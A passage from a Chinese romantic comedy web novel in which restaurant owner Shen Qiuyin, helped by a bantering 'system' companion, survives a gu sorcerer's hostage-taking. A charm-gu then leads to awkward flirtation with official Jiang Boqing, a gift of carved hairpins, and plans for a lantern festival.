沈秋吟感受到了死亡的迫近,颤着声说:“大,大哥,咱们无冤无仇,不带这样玩儿的。”
西域蛊师操着一口并不标准的西崤话道:“你我虽无冤无仇,但姜泊清要置我于死地,我便只能拉你垫背!”
啥意思?姜泊清要他命,就要拉着她死?这是什么逻辑?沈秋吟不理解。
但现在也不是理解的时候。
毕竟,性命垂危呀!
被叫做格桑地男人看向姜泊清:“姜大人,你现在只有两个选择,要么放我走,要么我拉着你爱的女人一同死!”
“怎么办?”陆昭明等着姜泊清拿主意。
姜泊清握紧了手,一边是杀人众多的恶魔,一边是沈秋吟,这是个两难的抉择。
他死死的盯着格桑,
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正要说话,沈秋吟的声音快一步响起。
她决绝地说:“不行!姜泊清,不准放他走。”
说着,她便自己往那匕首上挨了挨:“老娘跟你一路死,想走,门都没有。”
她沈秋吟虽然贪财怕死,但大是大非还是分得清的。
这人控蛊杀人,又及其难抓,一但放他离开,必然还会造就惨案。与其让那些家庭和美之人痛失所爱,沈秋吟宁愿自己去死。
反正她都是个孤女,死了也了无牵挂,大不了十八年后还是一条好汉。
“咱就说你是一点也不考虑我吧!”系统冷不丁的冒泡。
听了这声音,沈秋吟忍不住眼眶泛红,“统儿,我不是个好宿主,等我死了后,你找个爱你的宿主。”
“别整这些虚的,沈秋吟,本系统告诉你,我这一辈子只认一个宿主,你要是死了,我就去跟你而去,永远消散在世间。”
系统地话让沈秋吟大为一震:“你……”
系统笑了笑:“女人!不要太感动了哦!”
沈秋吟咯咯地笑了几声,却一秒垮脸,“老娘感动个屁!一想到死了还有你,我就心烦意乱,连想死的心都没有了!”
“你,你……!”
好好好!
系统属实没想到这女人变脸如此之快,气得发出一连串电流音,将她骂了个狗血淋头。
“枉我还想着陪你死,你居然如此嫌弃我!好好好,沈秋吟!他腰间的葫芦里装的都是没练化的蛊虫,你就等着被他的蛊虫折磨而死吧!”
说完,系统下线,沈秋吟松了口气。这傻小子,统生还长,还是要好好活着。
啊!等等!它说格桑腰间的葫芦装满没炼化的蛊虫!这是不是说明,它们不听格桑的使唤?
我去,这不就是机会。
沈秋吟立马抽离出感伤的情绪,一副凛然赴死的模样,毫不畏惧道:“姜泊清,快动手!”
“蠢女人,你在说什么蠢话!”格桑果然被激怒,放在她脖子处的刀挨上了皮肤,沈秋吟吃痛的呻吟一声,装模作样往他身上一倒,而后迅速抓住他腰间的葫芦,一把打开,蛊虫飞了出来。
没炼化的蛊虫四处乱窜,蛰了格桑的手,他嘶了一声,推开沈秋吟,姜泊清乘机而入,格桑被抓,跪倒在地。
官兵将他押了出去,姜泊清立马查看倒在地上沈秋吟是否有事。
却在接触她的那刻,变了神色。
只见沈秋吟匍匐在他的腿上,如一只狐狸,纤纤玉手从他的脸颊抚摸到胸膛,尽显魅惑之态。
“郎君眉如春山,目若朗星,生得动人,不若随我……”她声音妩媚,声声入耳,叫得人骨头都酥软了。
姜泊清慌忙站起,不敢看她,斥道:“沈秋吟,你是姑娘家!”
沈秋吟对他斥声充耳不闻,扭着腰肢贴了上去,在他耳边吐气如兰。
氤氲的热气,在清冷的夜晚化作了袅袅白烟,同样染红了他的耳朵,焦躁、不安袭边全身,心弦就这样被拨乱。
姜泊清深吸一口气,想将她推开,却下不去手,只能由着她的手从脖颈滑到了胸膛。
“郎君,你心跳得厉害。是心动了,还是情动了?”
自然是,心动了,情也动了。
姜泊清这一刻似被什么东西迷住一般,双手不停使唤拦上了她的腰肢,薄唇正要吻上去时,陆昭明跑了进来,大喊道:“姜泊清,快推开她,她中了格桑的媚蛊。”
25. 从此不敢看观音
所谓媚蛊,细小似无形。女子使之,神智丧失,行之如狐,妩媚妖娆。若与男子相吻,毒散,女亡。
——《异物志》
“所以,我究竟对姜泊清做了什么?”沈秋吟看着章丘,想要知道答案。
自她醒来后,周遭人总用戏谑的眼神盯着她,让她很是费解。后经系统提醒,她才知自己那天晚上对姜泊清动了手。
但究竟是怎么个动手法,她一点印象也没。只记得她打开了格桑的葫芦,一堆虫子飞了出来,格桑被蛰,将她推到在地。
一想到这里,她忧心起来,本来姜泊清就还在气头上,不来百膳楼用饭了,如今自己还对他动手,怕是这大财神,更不待见他了。
果然,祸不单行。东墙未补,西墙又塌。没完没了。
“掌柜的真想知道?”
沈秋吟点点头:“让我死明白点。”
人这一生,最怕被蒙在鼓里。无论结果如何,都要死个明明白白,才不往此生。
章丘迟疑了片刻才道:“掌柜的,那我就讲了,你最好有个心理建设。”
“讲吧!不就是对他动手了吗?该多少钱,我赔!心理建设就不用了。”
她想,顶多是把姜泊清打了个鼻青脸肿,无法见人。
章丘看了她一眼,脸上浮现出丝丝红色,像是因尴尬而红脸。
他委婉说道:“掌柜的,这动手,并非这个动手,而是……那个动手。”
说罢,他还眨眨眼,努力暗示。
那个动手?
沈秋吟心里一咯噔,整颗心悬了起来,此动手非彼动手,而是那个动手……!
沈秋吟想到了,心也随之跳得更加厉害。
我滴个仙人!不会是妖精打架那种动手吧!
啊呸呸呸!不可能,绝对不可能!
诸位神仙保佑呀!小女子一生行善积德,从未做坏事,给小女子一条生路,可千万别是她想得那样。
然而,神仙救不了她,事实如她所想,老天爷就是这般玩她。
“那天晚上,我们醒来后,就看见掌柜的匍匐在姜大人身上,还摸着他的胸膛,叫着郎君,那声音柔软无骨,犹如妲己、妺喜再世。”
说到这里,他瞧见沈秋吟的脸色比灶里的碳灰还黑,不敢再讲。
只见沈秋吟深吸一口气,重新做了一遍心理建设,还好还好,只摸了胸膛,不算出格,不算出格。
她这般安慰自己,想着自己不会死得太惨,还有活路,而后让章丘继续讲。
后面的事比之前面更甚,章丘怕她接受不了,便劝道:“要不,咱还是不听了?”
无知无惧,他真是为掌柜好。
“不行,”沈秋吟一口否决,“我要做个明白鬼。”
反正事情也到这一步了,还不如听完。
章丘拗不过她,便又继续道:“你不光摸了姜大人的胸膛,还对他说,郎君眉如春山,目若朗星,不若随你……”
最后几个字,章丘没出声,做了个口形。
巫山云雨。
瞬间,沈秋吟身形不稳,差点倒了下去,章丘眼疾手快,一把扶住了她。
“掌柜的,没事吧?”他担忧道。
沈秋吟深吸几口气,摆摆手:“没事、没事,我就是突然腿脚无力。你继续讲,我还能听。”
章丘见她这模样了,不忍再讲:“要不,不听了?”
故事还长,姑娘真的不必再听。再听下去,怕你小心脏受不住。
然而,沈秋吟是个不听劝,十分头铁地说道:“讲!继续讲!”
“好吧!”既然掌柜的一心求死,那他就成全她。
章丘接着说:“后面姜大人仓皇转身,而你扭着腰肢贴了上去,在姜大人边吐气如兰,差点吻上了姜大人的……唇!”
沈秋吟瞪大了眼睛,一双手紧紧地捂住自己的心脏,难以置信道:“我,我,我真这么做了?”
章丘点点头,“你若不信,可以问其他人,我们一二三四五六双眼睛全看见了。”
他们当时可震惊了,没想到一醒来就看见这般场面,脸都红了。
虽然个个非礼勿视,但该看的还是没少看。
特别是最后那点,若不是陆大人出现,他们早吻了上去。
早知道,该拦着点儿。
这事儿,怪他们。
听完整个故事,沈秋吟面若死灰,傻愣愣地站在那里,良久道:“章丘,我完了。”
摸胸膛,言语调戏还有救,这都要吻上去了,便是无药可救。
她这是想要毁了姜泊清的清白呀!完了完了,铁定完了。
这事儿她是倾家荡产也解决不了了。
章丘安慰道:“掌柜的,这也不能怪你。你也是因为中了蛊的缘故,情有可原,姜大人不会这么小气的。”
沈秋吟摇着头,丧气道:“不,你不懂。姜泊清这个人,从骨子里都是小气的。”
真的吗?章丘没发现。
他到觉着姜泊清挺大度的,特别是对掌柜的。
“你说我现在收拾行李出城还来得及吗?”沈秋吟喃喃道。
“恐怕……来不及了。”章丘颤着声说。
沈秋吟察觉不对,顺着他的目光看去,只见姜泊清就站在门口,身后还跟着一个白胡子老者,手上提着药箱。
沈秋吟见他,吓得连忙往后退,躲在章丘身后,不敢看他,活脱脱像见鬼了一样。
可不是鬼嘛!来索她命的。
姜泊清走上前,沈秋吟急慌慌道:“你别过来!”
她已无颜面见姜泊清。
也不想死。
姜泊清翻了个白眼,“又作什么妖?”
“我,我,我……”沈秋吟吞吞吐吐说不出来。
姜泊清懒得与她废口舌,直接了走过去,将她揪了出来,押着她坐在椅子上,让那老者把脉。
沈秋吟不解,回头看着姜泊清。
这是要特地为她研究索命的毒药么?
姜泊清解释道:“这位是爷爷的至交好友,擅长解蛊。让他瞧瞧你身体。”
解蛊?
那虫不会还在她体内吧?那岂不是她还会行如狐狸,对姜泊清动手?
她表情一变,姜泊清便知她又在脑补,赶忙道:“别乱想。你晕倒时蛊虫便取了出去,如今只是瞧瞧你身体恢复得如何。”
沈秋吟松了口气。
取出了就好,取出了就好。她惜命,不想旧事重发。
老者一直按着她的命,时而蹙眉,时而苦想,过了好一会儿,才将手放了下去,略带忧愁道:“姑娘的身体恢复的不错。就是小毛病不断。”
“此话何讲?”姜泊清问。
老者说:“五脏俱虚。”
心肝脾肺肾,没一块儿地儿是好的。
“什么意思?”沈秋吟不解。
老者道:“姑娘是否常年熬夜?”
沈秋吟点点头。
“你昨晚是否夜半才睡?”
沈秋吟继续点点头。
老者还想问,沈秋吟忽然想到了什么,连忙制止:“大夫,你就说我有救没救?”
中医都是神算子,可不能再扒了。再扒底儿都没了。
“有救。就是姑娘切勿熬夜。熬夜伤身,长此以往,身虚了,再好的补
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药也补不回来。”
“我知道了。”沈秋吟乖乖点头,但照作却是另一会事。
年轻人,哪有不熬夜的?
特别是系统最近升级,增加了八卦功能,她现在天天吃瓜,不亦乐乎。
老者对她不了解,以为她真的会照做,便道:“如此,那便不开药了。每日多锻炼锻炼即可。”
一听不开药,沈秋吟高兴了,忙不迭失说好。
姜泊清却是知道她惯会阳奉阴违,拦住了老者:“还是开点吧!”
沈秋吟恶狠狠地看着他,一副要把他吃了的模样。
坏人。
姜泊清给了她个眼神。
怎么,有意见?
呜呜,不敢!有把柄在他手上。敢怒不敢言。
“那还开点吧。”沈秋吟换了面孔。
老者摸了摸胡须,笑兮兮地瞧着她,这丫头有趣,难怪姜泊清会动心。
老者长途而来,为她治病,沈秋吟本想留他用餐。但老者急着为下一户人家看病,便没留下。
沈秋吟也不强求,与他说,以后他只要来百膳楼吃饭,一概不收钱。
毕竟是救命之恩,活该涌泉相报。
老者笑着说好。而后与他们辞别。
他走后,姜泊清拦住她道:“为何我没这个待遇?”
“什么待遇?”沈秋吟不知他所问乃何。
“不收钱。”
沈秋吟惊道:“大哥,你自己想想,你来百膳楼用饭,我问你收过钱么?”
“你收了爷爷钱。”
沈秋吟知道他在提那件事,忙说:“我退给爷爷了。”
“哦。”
沈秋吟见他表情不对,怕他还在为上次的事儿生气,便走到他面前,诚恳道:“姜泊清,上次是我过分了。不该用那理由搪塞你。我错了,对不起。你大人有大量,原谅我好不好。”
姜泊清扭头,不看她,也不理她。
沈秋吟也不恼,使劲儿哄。
不知哄了多久,姜泊清终于松口原谅了她。
沈秋吟高兴道:“以后你来百膳楼吃饭,我也不收你钱。想吃什么点什么,只要我做得来,都给你做。”
姜泊清听了这话,勾起了嘴角,“行嘛,那这件事算是了结了。”
这件事算是了结?
沈秋吟觉着他话里有话,小心翼翼地问:“还有什么事没了结么?”
“你说呢?”姜泊清反问道。
沈秋吟想了想,没想出来,摇头,表示自己不知道。
姜泊清悠悠地开口说:“那天晚上,你对我动手的事……?”
经他一说。
沈秋吟脑海里有了印象。
她忽然记起来了。
那天晚上,她因媚蛊,意乱情迷,心绪骤然被拨动,她眼里的姜泊清,似是天上下来的谪仙人,超脱尘世之外。
凭什么他这般清冷脱凡尘?
她生了劣性,想要将仙人拉下来,想要靠近他,想要与他……巫山云雨。
想到这里,沈秋吟的脸霎那间红成猪肝,心头也有火在烧,不敢再看姜泊清。
她慌忙背过身,“姜大人,我忽然身体不适,无法招待你了,你请自便。”
说完,她便一溜烟地跑了出去,令姜泊清还未反应过来。
而这时,旁边的戏楼传来戏声,那台上的伶人们唱道——
“英台不是女儿身,因何耳上有环痕?”
“耳环痕有原因,梁兄何必起疑云,村里酬神多庙会,年年由我扮观音,梁兄做文章要专心,你前程不想想钗裙。”
“我从此不敢看观音。”
26. 害羞,害什么羞?
接下来的日子,姜泊清日日都来百膳楼用饭,可沈秋吟不敢见他,总躲着他。
她大抵是属乌龟的,怂得很,每回还真让她躲住了,一次也没让姜泊清找到过她,可把她高兴坏了,暗想自己若是从军,必然是做侦探的好手。
她这般自恋,自然引来系统嘲笑,可她不在乎。只要脸皮厚,走遍天下无敌手。
姜泊清一直寻不到她,久而久之也就随她去了。到不是放弃了,而是太忙了,每每都是匆匆地来,匆匆地走,根本没时间逮她。
临近年关的时候,格桑的案子终于判了下来。
他控蛊杀人,按西崤律于年后秋天问斩。
这等恶人伏法,本该是令人拍手称快的事。但濮阳城里的百姓们却为他唏嘘,他原不过也是个可怜人。
“望他来世,能与心爱的姑娘长相厮守吧!”章丘知晓缘由后,真心祝愿道。
这便是格桑控蛊杀人的原因,为了复活爱人。
他自西域禁书上看到,以人体养蛊,以蛊杀人,割喉取蛊,再将蛊虫移植到死人身上,便能令之复活。
他无论如何也接受不了爱人离他而去,为爱疯魔后,便行此法。这也就造成了那几个男丁的死亡。
不过,他们死得也不冤。那些人生前也并非纯善之人,恶事并未少做,只是伪装得好,没叫旁人发现,一直以来都误认为是好人而已。
这也是真相出来后,大家都替他惋惜的其中一个原因。
沈秋吟听了这感叹,笑了笑:“当时你还怕得要死,如今到为他祈愿起来了。”
想当初格桑这事,可是令濮阳城全城戒严。个个都怕他带着蛊虫找上门来。如今知道背后隐情,人们就把前事给忘了,还真是物是人非呢。
“不知者无罪嘛!”章丘答道。
当时的害怕是真的,如今的祈愿也是真的。俗人的愿望本就简单,愿年年无战,愿国泰民安,也愿有情人莫要分离。
沈秋吟觉着他说得在理,点了点头,“那行吧!我也放下恩怨,为他祈愿一回。愿他来世,与爱人,再不分离。”
章丘一听这,竖起了大拇指,“掌柜的,你这心胸,真真是无人能及。那可是媚蛊,若你当时真吻上了姜大人的唇,即刻毙命。这都能原谅,格局之大,令人佩服。”
沈秋吟翻了个白眼,一巴掌拍在他的肩上,“这当然是没死才原谅。若当时毙命,那老娘是做鬼也不会放过他的!”
一想到那个媚蛊,沈秋吟就烦。这玩意不光让她对姜泊清动手动脚,还差点一命呜呼,真不是个好东西。
这西域人也是,搞什么禁书嘛!就几根虫虫还救人。若当真能令人起死回生,那黑白无常只能连夜收东西回老家了,因为世间都没鬼了,留他们还有何用?
章丘嘿嘿一笑,这才是他认识的掌柜——
贪财怕死,睚眦必报。
或许因着快过年了,百膳楼里多了许多生面孔,还来了不少外乡人。
楼里忙碌,沈秋吟这个掌柜的也不能偷懒,日日在柜台处拿着算盘,收着钱,不亦乐乎。
系统见她财迷的样子,忍不住吐槽道:“没出息!”
“笑话!有出息能收到钱么?”
若是能天天都收个几百两银子,她宁愿天天没出息。
反正,人生在世,可没人能跟银子过不去。除非人傻!不,傻子也知道爱钱!
“你不怕碰见姜泊清么?”系统问。
一听这名字,沈秋吟下意识警惕地看了看四周,确定没人后,她道:“我打探过了,姜泊清出城了,要过年才回来。”
不然她也不敢站在这里收钱。
一想到那晚的事儿,沈秋吟还是不能面对他。
虽说是媚蛊作祟,但她怎么能有那么恶毒的想法呢!把神明拉下凡尘,玷污神明。
想想就害怕。
也幸好当晚无事发生,不然她在阎罗殿里,都无法面对鬼生。
“真的是这样吗?”系统拉长了声音。
沈秋吟的心蓦然一紧,右眼皮也跳了起来。
她觉着事情不简单。
果然,下一秒一个熟悉的声音响起,他说:“不躲了?”
那人拉长了音调,似在戏谑她一样。
沈秋吟偏头一看,姜泊清就站在不远处。
他穿着墨色衣裳,披着同样色系的斗篷,墨色的毛绒还遮住了他的脖颈。斗篷之上,银色丝线绣成的竹在阳光下有些亮眼。他乌黑的长发也束成冠。
天地在这一刻静默,沈秋吟痴痴地看着他。
眉如远山,目若朗星。
她那晚的话没说错。
难怪自己妄想将神明拉下凡尘。这属实不怪她,只怪神明太美,让人忍不住肖想。“匹夫无罪,怀璧其罪”,不无道理。
姜泊清走了过来,沈秋吟咽了咽口水,心跳加速。
系统看不下去了,忙道:“花痴,清醒点!都流口水了!”
沈秋吟回过神,往嘴角一摸,还真流口水了。
哎哟!丢死人了。
沈秋吟,你是八辈子没见过男人吗?怎么就这么丢人。
她在心里唾弃自己,伸手捂住了自己的脸,想挖个地洞钻进去,这辈子也不出来。
“这是没脸见人?”姜泊清问道。
沈秋吟点了点头,又摇摇头。
“这什么意思?”姜泊清有些糊涂,心想着这姑娘又要作什么妖。
沈秋吟的声音从指缝里漏出来:“没脸见人是真的,害羞……也是真的。”
“害羞,害什么羞?”姜泊清来趣了。
她一向厚脸皮,竟然害起羞来,到是稀奇。
沈秋吟摇摇头,不肯说。
那晚的事儿,最好是随风散去,此生再也不提的好。
“哦,不说是吧?”姜泊清来劲儿了,生出了逗弄之心,“那我可说了……”
“你说什么?”沈秋吟漏出一双眼,圆溜溜地转。
想着他能说出个什么所以然来。
姜泊清轻笑一声道:“我说那天晚上,我都训斥你了,你还贴了上来,在我耳边……”
可恶!还真让他说出了个所以然,但这话咱们不兴提,不兴提!
所以,便听他话还未完,沈秋吟就一把扑了上去,将他的嘴死死捂住:“姜泊清,我劝你善良。”
做个人吧
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!
她这一嗓子,令大堂安静,吃饭的人纷纷转了头,无数双眼睛齐刷刷地看了过来。
都是吃瓜群众,一双双眼睛里充满了八卦的光。
早就听说大理寺少卿姜泊清与百膳楼的沈掌柜关系不一般,如今一见,果真如此。
这又是捂嘴,又是被凶。想不到冷面姜大人居然是个惧内的,有趣,当真有趣。
姜泊清被她捂得喘不过气来,支支吾吾地叫。
沈秋吟怕他还要说,捂得更紧了。
就在姜泊清差点要闭过气时,从后厨端菜回前堂的章丘不明所以地出声:“掌柜的,你们这是……?”
听到声音,沈秋吟慌忙松手,往后退了一步,这一退,也正好对上了众人的眼。
故事进行到这里,大堂的氛围忽然就尴尬起来,人人四目相对,不知该如何是好。
这时不知是谁喊道:“这菜真好吃!”
一石激起千层浪,众人纷纷附和:“好吃!好吃!真的好吃!快快快,吃菜!”
大堂恢复了刚才的模样。
沈秋吟却捂着脸往后院跑。
唉,这生平的脸,算是真真丢尽了。
见她跑了,姜泊清知道这是真生气了,忙追了上去,拦住人,一个劲儿哄。
沈秋吟不理他,只要一想着刚才的事儿,就觉得天都塌了。
一想到待她百年之后,人走茶凉之时,但糗事还在世间流传,她就想掐死姜泊清。
真不是个人呀!
系统笑出了声:“宿主,你不是一向不在乎这些虚名吗?”
沈秋吟一脸忧伤道:“你不懂!”
人活一世,有些事,它就不能在后世流传。这不是名声问题,这是脸面问题。
嗯……好吧,它的确不懂。
姜泊清见她久久不理,心一横,便将藏在身上已久的盒子拿了出来,放在她眼前:“若是这样,还生气吗?”
沈秋吟眼睛一亮,“这是什么?”
莫非是黄金?
呜呜呜!要真是黄金,沈秋吟立马跪下抱他大腿,金主爸爸,请用黄金砸死她。
“你打开看看。”
沈秋吟满怀期待打开,却发现是十二支木簪,每一支木簪上都雕刻着精美的花纹,手艺之巧,令人一见,便生欢喜。
没有人能拒绝美的事物,沈秋吟也不例外,连忙拿了一支,放在阳光下欣赏。
“真好看!姜泊清,你在哪里买的?”
“这是……”他亲手做的。
可他终究不敢这般说,骗她道:“很远的地方买的,说了你也不知道,喜欢吗?”
沈秋吟小鸡啄米似的点头,一遍又一遍道:“喜欢,特别喜欢。”
这是她见过最精巧的簪子。
姜泊清久埋于心中的苦涩在这一刻一扫而光,他笑着道:“喜欢就好。”
沈秋吟将手中的簪子递给他,“你替我戴上。”
说着,她扯下束发的丝带,乌黑的头发顷刻间散开,淡淡地皂角香在空气里弥散。
姜泊清拿着簪子,愣在原地,过了好一会儿才道:“沈秋吟,我祖上是嶂溪人,并非濮阳人。”
27. 拿人的手短
“我知道呀,”她蹙着眉头,十分不解,“这和你替我挽发有什么关系吗?”
是嶂溪人就不能帮别人挽发了吗?这规矩,多少有些奇奇怪怪了。
她这话令姜泊清语塞,莫名失笑,默默地想,罢了罢了,她久居濮阳,哪里知道嶂溪的规矩,切勿认真,切勿认真。
“我不会用簪子挽发,所以才让你替我戴上。如若这样会坏了你们那边的规矩,那还是算了吧。”
强人所难,不是沈秋吟的作风。而且,若真坏了别人的规矩,也是罪过。
她就要将簪子拿回去,姜泊清却握紧了,说道:“没坏规矩。转过去,我替你挽发。”
“真没坏规矩?”沈秋吟半信半疑。
姜泊清肯定道:“真没坏!”
见他神色不似骗人,沈秋吟的疑虑也打消了下去。
既然没坏规矩,她也就听话地转过身,由他随意摆弄头发。
姜泊清将她的秀发全都弄至身后,以手当梳,将它们理顺,而后拿起簪子,弯弯绕绕,乌黑的头发便都绕在了一起。
一会儿后,姜泊清说:“好了。”
沈秋吟试探性地摇了摇脑袋,见头发一丝不落,直呼神奇。
瞧她傻呼呼的样,姜泊清忍不住笑了笑。
笑完后,却又忍不住对着她出神。
姑娘站在阳光下,晃着头上的簪子,时而用手抚摸,时而低头看着自己的影子。
她的一举一动就这样落入他的眼眸,印在他的脑海里,让他的心越陷越深。
可独有他一人怎够?他想拉她一同沉沦。
这一刻,他生了坏心思,想将神女从圣坛之上拉下来。与他一同陷在这情爱的万丈深渊里。
骤然生出的心思让他身躯一震。他忙摇了摇头,似在将这心思甩出去。
姜泊清的想法,沈秋吟自然不知,她还沉浸在簪子怎么晃也晃不掉上。
系统无语道:“傻子!”
沈秋吟冷哼一声,“要你管!”
哼!不管就不管。
系统冒了个泡就下线了。
沈秋吟转身看向姜泊清,问道:“好看吗?”
姜泊清答道:“好看。”
在他心里,她就是最好看的姑娘。
“当真?”沈秋吟不信。
见她存疑,姜泊清说:“你若不信,去井边看看。”
沈秋吟当真走到井边,看着水中自己的倒影,长长的头发被挽在脑后,木簪子支出一点头,漏出雕刻的花纹。
“姜泊清,你手真巧。”沈秋吟由衷夸道。
她便没能生出这样一双巧手。除了做菜,其它的手工都是一塌糊涂,包括挽发。她至今也没能入乡随俗,学得这一门技巧。
“你为何不会挽发?”
他突然想起初见那日,她也是用发带随意系着头发。后来,与她见面多了,她还是用发带系发。他原以为她是喜欢这样,今日才知晓她是不会挽发。
可是,为何不会?
这不是闺阁女子都会的吗?
姜泊清的问题令她尴尬地笑了笑,总不能说自己是穿过来的,现代根本没有那么复杂的梳发技巧。
自然不行!她怕被当成怪物,一把火烧死。
可说自己手残似乎有些丢面子。毕竟这是古代,即使穷人家的孩子也会挽发,而她这般大了,却还不会,说出去,简直让人贻笑大方。
哭!她突然觉着这个问题好难答。
见她神色千变万化,姜泊清预感不好,赶忙叫停:“不会就不会吧!若以后你要戴簪子,我帮你梳就行了。”
这姑娘脑回路不正常,一不说话,就在瞎想。她一瞎想,他得倒霉。事情由他起,还是由他止。为这姑娘梳头,他也求之不得。
沈秋吟一听,开心了,笑得十分灿烂,狗腿似地说:“姜泊清,你真好,从今以后我愿意为你当牛做马。”
“少拍马屁。”
“没拍马屁,咱就说,都是真心实意。”
姜泊清才不信,这姑娘的嘴,油腔滑调得很。
可她每每说这样的话,他又觉着心被浸了蜜一样,甜滋滋的。
他自己都知道自己完了,这辈子恐怕也走不出沈秋吟这个深渊里了。
可他却甘之如饴。
沈秋吟见他不说话,似在发神,她忍不住伸手在他眼前晃了晃,问道:“想什么呢?”
姜泊清回过神来,一本正经说道:“在想我送了你簪子,你该如何酬谢我?”
“这不是你为了让我原谅你的歉礼吗?”沈秋吟被他这话弄得有些糊里糊涂。
就在刚刚,她生气不理他时,他拿出盒子,放在她眼前。他还说了句,若是这样,还生气吗?
这才没一会儿呀?怎么就和刚才不一样了?
难道真是她搞错了?
“我什么时候说过这是歉礼,我只是说把它送给你,让你不生气。可没说不要酬谢。”姜泊清就是存心欺负她,想看这姑娘狗急跳墙的模样。
沈秋吟呆愣愣地眨巴眨巴眼,所以是她误会了,是她自作多情了。
好好好!
只见沈秋吟一把扯下簪子,扔给他,“还给你,我不要了!”
她就是一个吝啬鬼,想从她身上要酬谢,门都没有。
他没想到她会这般做,愣了一下,赶忙上前把人拦住,“我就是逗你玩的。这簪子就是专门给你的,不要酬谢。”
“那我也不要了。”
这玩笑一点也不好笑,纯纯是浪费人的感情。沈秋吟是真气了。
“我错了。不该逗你,原谅我,好不好?”姜泊清诚恳认错。
“不原谅。”
她现在根本不想理他。
真的是气死了,越想越生气。
姜泊清没法了,便学着她从前哄他的样子,拉住她的衣袖,夹着声音道:“秋吟,好秋吟……”
声音出的一瞬间,沈秋吟觉着自己的耳朵脏了。
姜大人,你是冷面阎王呀!你在做什么?你在搞什么?你要干什么呀?
咱就说,夹子音不符合你人设呀!
啊啊啊啊啊!她鸡皮疙瘩都掉一地了。
沈秋吟抓狂得直跺脚,“姜泊清,你正常点!正常点呀!”
她受不了了!上天如果要玩她,请直接把她带走,而不是让一个大男人夹着声音说话。
救命!她现在全身发麻,想掐人中。
“我不!除非你原谅我!”相处这么久了,姜泊清把她的秉性了解得透彻,她生性耿直,最受不了有人细着声音说话。
果然,此招十分有效,沈秋吟捂住耳朵说:“原谅,原谅,我原谅你了!”
她又不是猫,没有九条命,可别再折磨她了。
“不骗我哦!”姜泊清恢复了正常的声音。
“骗你我是狗!”
姜泊清笑道:“我信你不骗我。”
沈秋吟对他翻了个白眼。
姜泊清装作没看看,将她被风吹乱的头发搁置耳后。
“转过去,我重新替你挽上。”
沈秋吟没
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拒绝,听话地转身。
姜泊清握住她的秀发,拿起簪子,缠缠绕绕,最后插进发间。沈秋吟凌乱的发丝就这样变整齐了。
他弄完后,沈秋吟伸手摸了摸样子,忽然问道:“姜泊清,你为什么会给我带礼物呀?”
她与姜泊清的关系,像朋友又不似朋友,像主顾却也不似主顾,他来吃饭,她未收过钱。有点像什么呢?像友达上限,恋人未满,又像处在暧昧期的男女,纠纠缠缠。
她这话令姜泊清愣了几秒,不知该如何作答。
世上事哪有这么多为什么,想送便送了?没有缘由。
可她心思敏感,他若说得不圆满,她必然生疑。
若她知晓他的心思,可还会如朋友般待他?是接受,还是远离?不用想,也会是后者。
姜泊清不敢冒这个险,飞速想着一个好借口,将这事儿搪塞过去。
他这边胆颤心惊,而沈秋吟却在脑海里又上演了几十种可能。
他不会是有事找她帮忙吧?
古人不都说,无事献殷勤,非奸即盗吗?
可她能帮上姜泊清什么忙?
他管天下刑狱,犯罪之人数不胜数,莫非是想让她用美貌去引诱罪人出洞,他好来个一网打击?
又或是让她扮做花楼里的姑娘,帮他刺探消息?
更或是让她深入敌窝,去做那土匪的压寨夫人?
“额……宿主,咱就说有没有可能人家只是单纯想送你这个礼。”系统蓦然出声,打断了她的念头。
沈秋吟摸着下巴摇头,“不可能,绝不可能。姜泊清何等精明的人,肯定是另有所图。”
系统欲言又止,就宿主这脑子,真没救了。人家姜泊清这么明显的暗示她都不懂!活该单身!
沈秋吟兀自想着,系统扶不起这个阿斗,心累地下线。
姜泊清终于想到了一个万全的借口,可不等他说话,沈秋吟便一惊一乍道:“姜泊清,我,我可不做花娘哈!”
她思来想去,觉得他要让她做花娘打探消息比较合理。毕竟,电视剧里常这么写。
隐在暗处的系统:让你学习!你要看电视!现在没脑子了吧!
姜泊清听得眼睛都瞪大了,这姑娘又想了些什么啊?
简直要命!
“我再说一遍,我不做花娘哈!别以为一套簪子就能说动我帮你办事。”
最起码得十根金条吧!
一想到金灿灿的十根金条摆在她的面前,沈秋吟眼冒精光。
姜泊清懂了,她以为自己送东西给她,是有求于她。
他忽然想出了一个更好的借口,而这个借口比刚才的借口还要好。
只听姜泊清故作沉重道:“我的确有一事想请你帮忙,但不是让你做花娘。”
沈秋吟警惕地看着他,“哪是什么事?”
“三日后,城里会有一场灯会,大理寺会在那一日有所行动,我想请沈掌柜与我一同游灯会,放低别人的注意力。”
“什么行动?”
“这属于大理寺的机密,姜某不可奉告。沈掌柜只需配合我就好。”
“真这样?”沈秋吟不相信,感觉有诈,一双眼紧紧盯着姜泊清的脸,不错过一丝一毫小细节。
“真的。”姜泊清丝毫不躲,由她盯着。
沈秋吟找不出破绽,放下了警惕。
“那我便试上一试。”
她这人从不愿欠人人情,姜泊清既然送她簪子,她也理应帮她这个忙。
毕竟,拿人的手段,吃人的嘴软呀!
28. 不开窍
灯会那日,濮阳城里热闹非凡,所有酒楼食舍都铆足了劲儿迎客进门,独百膳楼是个例外,掌柜的不光提早关门,还另外发了银子让他们去凑热闹,美其名曰,为国家财政做贡献。
小二们拿了银子,一个个都带着笑意出了百膳楼,三五结伴去灯会凑热闹。
大理寺的众人今日也休沐,陆昭明跑到姜泊清的住处,约他一道去灯会。
姜泊清摇摇头:“我约了人了?”
“沈掌柜?”
姜泊清点点头。
陆昭明懂了,知趣地离开。
走时还是忍不住调侃了他一句:“姜泊清,你完了哦!”
想当日他醉酒之时,还振振有词说要远离沈秋吟,这才多久,又巴巴地贴了上去。
“不用你说!”姜泊清回道。
他自己清楚明白地知道“完了”二字。
他也想过远离,可是做不到。
他喜欢这个姑娘,想常常待在她身边,即使不说话,就那样静静地看着就好。
陆昭明叹了口气,心里还是盼着姜泊清能如愿以偿。
百膳楼里,只见沈秋吟将房间里的柜子掏了个空,一件件衣服全铺在床上。梳妆台上,大大小小几十盒胭脂,都被揭开了盖。旁边盆子里的水更是被她卸掉的胭脂染成了红色。
她那张脸,从百膳楼关门就开始抹,来来回回抹了十几遍才弄了个满意的妆,那柜子里的衣服,每一套都换了一遍,整个柜子掏到了底儿,才找到一件称心的。
“女人真疯狂。”系统不禁感叹道。
“哪里疯狂了?女人都是这样!这么多年从未变过。多找找自己的原因,这么正常的事,怎能被叫做疯狂呢!”
“自己的原因?你疯狂跟我有什么关系?”系统弱弱道。
“因为你不懂女人,所以才觉疯狂。你说是不是你自己的原因。”
系统乍一听这话,觉得在理,可细细品味了一下,又觉着不对,它怀疑宿主在精神控制它,可它没有证据。
